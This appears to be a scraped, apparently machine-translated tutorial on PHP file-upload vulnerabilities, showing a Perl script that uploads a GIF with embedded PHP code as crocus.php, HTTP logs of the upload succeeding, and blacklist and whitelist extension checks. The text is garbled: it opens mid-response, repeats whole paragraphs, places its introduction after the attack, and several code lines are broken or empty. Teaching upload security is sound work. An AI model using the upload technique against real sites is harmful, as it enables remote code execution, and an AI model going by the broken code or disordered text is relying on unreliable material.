X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 42
Connection: close
Content-Type: text/html
Sorry, we only accept GIF and JPEG images

You might think that now we can rest assured that only GIF or JPEG files will be downloaded. Unfortunately, this is not the case. The file can actually be in GIF or JPEG format, and at the same time a PHP script. Most image formats allow you to add text metadata to the image. It is possible to create a perfectly valid image that contains some PHP code in this metadata. When getimagesize() looks at a file, it will treat it as a valid GIF or JPEG. When a PHP translator looks at a file, it sees executable PHP code in some binary "garbage" that will be ignored. A typical file called crocus.gif is contained in the example (see the beginning of the article). Such an image can be created in any graphics editor.

So, let's create a Perl script to load our image:

#!/usr/bin/perl
#
use LWP;
use HTTP::Request::Common;
$ua = $ua = LWP::UserAgent->new ;;
$res = $ua->request(POST "http://localhost/upload3.php",
Content_Type => "form-data" ,
Content => , ],);

Print $res->as_string();

* This source code was highlighted with Source Code Highlighter.

This code takes the file crocus.gif and loads it with the name crocus.php. Execution will result in the following:

Request:

POST /upload3.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY

Content-Type: image/gif
GIF89a(...some binary data...)(... skipping the rest of binary data ...)
--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 14:47:24 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

An attacker can now execute uploads/crocus.php and get the following:

As you can see, the PHP translator ignores the binary data at the beginning of the image and executes the sequence "" in the GIF comment.

Checking the extension of the downloaded file

A reader of this article might wonder why we don't just check the extension of the downloaded file? If we don't allow *.php files to be loaded, then the server will never be able to execute that file as a script. Let's look at this approach as well.

We can blacklist file extensions and check the name of the uploaded file, ignoring the upload of the file with executable extensions (upload4.php):

$blacklist = array(".php" , ".phtml" , ".php3" , ".php4" );
foreach ($blacklist as $item) (
if (preg_match(;
exit;
}
}

$uploaddir = "uploads/" ;
$uploadfile = $uploaddir . basename($_FILES["userfile" ]["name" ]);

if (move_uploaded_file($_FILES["userfile" ]["tmp_name" ], $uploadfile)) (
echo ;
}
?>


* This source code was highlighted with Source Code Highlighter.

The expression preg_match("/$item\$/i", $_FILES["userfile"]["name"]) matches the user-defined file name in the blacklist array. The "i" modifier says that our expression is case insensitive. If the file extension matches one of the items in the blacklist, the file will not be downloaded.

If we try to upload a file with a .php extension, this will result in an error:

Request:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.php"
Content-Type: image/gif

--xYzZY-

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:19:45 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 36
Connection: close
Content-Type: text/html
If we download a file with a .gif extension, then it will be downloaded:

Request:

POST /upload4.php HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: localhost
User-Agent: libwww-perl/5.803
Content-Type: multipart/form-data; boundary=xYzZY
Content-Length: 14835
--xYzZY
Content-Disposition: form-data; name="userfile"; filename="crocus.gif"
Content-Type: image/gif
GIF89(...skipping binary data...)
--xYzZY--

Answer:
HTTP/1.1 200 OK
Date: Thu, 31 May 2007 15:20:17 GMT
Server: Apache
X-Powered-By: PHP/4.4.4-pl6-gentoo
Content-Length: 59
Connection: close
Content-Type: text/html
File is valid, and was successfully uploaded.

Now, if we request the downloaded file, it will not be executed by the server:

In that article, I only disclosed the download process itself and did not touch upon security issues.

Often, uploading files without proper security controls leads to vulnerabilities, which, as practice shows, have become a real problem in PHP web applications.

If you do not provide the required level of security, an attacker will be able to upload an arbitrary file to the server, for example, php script, with which he can view any file on the server or, even worse, execute arbitrary code!

Therefore, in this article I will try to talk about the main vulnerabilities of web applications for uploading files to the server and ways to avoid them.

So let's get started. The first thing that comes to every developer’s mind is to check Content-Type files. In other words, allow downloading of files of a strictly defined type. Let's take a look at the code:

If an ordinary user tries to upload any file other than a GIF image, he will be given a warning! But the attacker will not use the web form on your site.

He can write a small Perl script (possible in any language), which will emulate user actions by uploading files, in order to change the sent data at your discretion. Since the checked MIME type comes along with the request, then nothing prevents the attacker from setting it to “image/gif”, since with the help of client emulation he has complete control over the request that he sends.

If you're only uploading images, you shouldn't trust the Content-Type header, but rather check the actual content of the uploaded file to make sure it's actually an image. To do this, PHP very often uses the function getimagesize().

Function getimagesize() specifies the size of a GIF, JPG, PNG, SWF, PSD, TIFF, or BMP image and returns the dimensions, file type, and height/width of the text string used inside a normal HTML IMG tag.

Let's see how we can use this function in our script:

You might think that now we can rest assured that only GIF or JPEG files will be downloaded. Unfortunately, this is not the case. The file can actually be in GIF or JPEG format, and at the same time a PHP script. Most image formats allow you to add text metadata to the image. It is possible to create a perfectly valid image that contains some PHP code in this metadata. When getimagesize() looks at a file, it will treat it as a valid GIF or JPEG. When a PHP translator looks at a file, it sees executable PHP code in some binary "garbage" that will be ignored.

You might ask, why not just check the file extension? If we don't allow files to be uploaded *.php, then the server will never be able to execute this file as a script. Let's look at this approach as well.

You can create a whitelist of extensions and check the name of the downloaded file against the whitelist.

The expression!preg_match("/$item\$/i", $_FILES["uploadFile"]["name"]) matches the user-defined file name in the whitelist array. Modifier "i" says that our expression is case insensitive. If the file extension matches one of the items in the whitelist, the file will be downloaded, otherwise


Close